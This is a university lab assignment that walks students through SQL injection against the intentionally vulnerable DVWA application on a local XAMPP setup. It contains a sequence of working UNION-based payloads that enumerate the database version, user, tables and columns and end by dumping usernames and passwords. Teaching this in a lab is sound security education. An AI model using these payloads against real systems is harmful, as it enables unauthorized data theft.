COMP 307-LabAssignment#5

Student Name

Student Number

In this lab we will do the following:

- We use inject always true SQL statements into the SQL Injection User ID field with security set to low.

What is a SQL Injection?

- SQL injection (also known as SQL fishing) is a technique often used to attack data driven applications.
- This is done by including portions of SQL statements in an entry field in an attempt to get the website to pass a newly formed rogue SQL command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exploits security vulnerability in an application's software.
- The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database. Successful SQL injection attacks could obtain confidential data from the database, such as personal information, passwords, etc. The attacker could also insert data, thus destroying the database's integrity. If the database allows the SQL to delete statements from the Web application, the attacker could delete tables. This is the most common Web application vulnerability.

What is SQL Injection Harvesting?

- SQL Injection Harvesting is where a malicious user supplies SQL statements to render sensitive data such as usernames, passwords, database tables, and more.

Pre-requisite step

0) Setup XAMPP+DVWA (as before) (Take snapshot)

----

1) **Login** DVWA and Set Security Low (Take snapshot)

2) Goto 'SQL Injection' (Take snapshot)

3) Enter 1 (you should see some user info) (Take snapshot)

Notes(FYI): Below is the PHP select statement that we will be exploiting, specifically $id.

```
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
```

4) Enter 2 (you should see some user info) (Take snapshot)

...

5) Enter 6 (no more users) (Take snapshot)

6) Enter

%' OR '0'='0

(you should see a list of 5 users) (Take snapshot)

NOTES : Database Statement

mysql> SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

7) Enter

%' or 0=0 union SELECT NULL,version()#

(you should see list of 5 users and last lines have MySQL version)

(Take snapshot)

8) Enter

%' or 0=0 union SELECT NULL,user()#

(you should see list of 5 users and last lines have the MySQL DB user)

(Take snapshot)

9) Enter

%' or 0=0 union SELECT NULL,database()#

(you should see list of 5 users and last lines have the MySQL DB name)

(Take snapshot)

)

10) Enter

%' or 1=0 union SELECT NULL,database()#

(you should see only the MySQL DB name)

(Take snapshot)

11) Enter

%' or 1=0 union SELECT NULL,Table_name FROM INFORMATION_SCHEMA.Tables#

(you should see all table names in MySQL)

(Take snapshot)

12) Enter

%' or 1=0 union SELECT NULL,Table_name FROM INFORMATION_SCHEMA.Tables WHERE Table_Name LIKE 'user%'#

(you should see all table names in MySQL)

(Take snapshot)

13) Enter

%' or 1=0 union SELECT NULL,CONCAT(Table_Name,0x0a,Column_Name) FROM INFORMATION_SCHEMA.Columns WHERE Table_Name='users'#

(you should see all table names in MySQL)

(Take snapshot)

14) Enter

%' or 1=0 union SELECT NULL,CONCAT(first_name,0x0a,last_Name,0x0a,user,0x0a,password,0x0a,avatar) FROM users#

(you should see all info from users table including passwords)

(Take snapshot)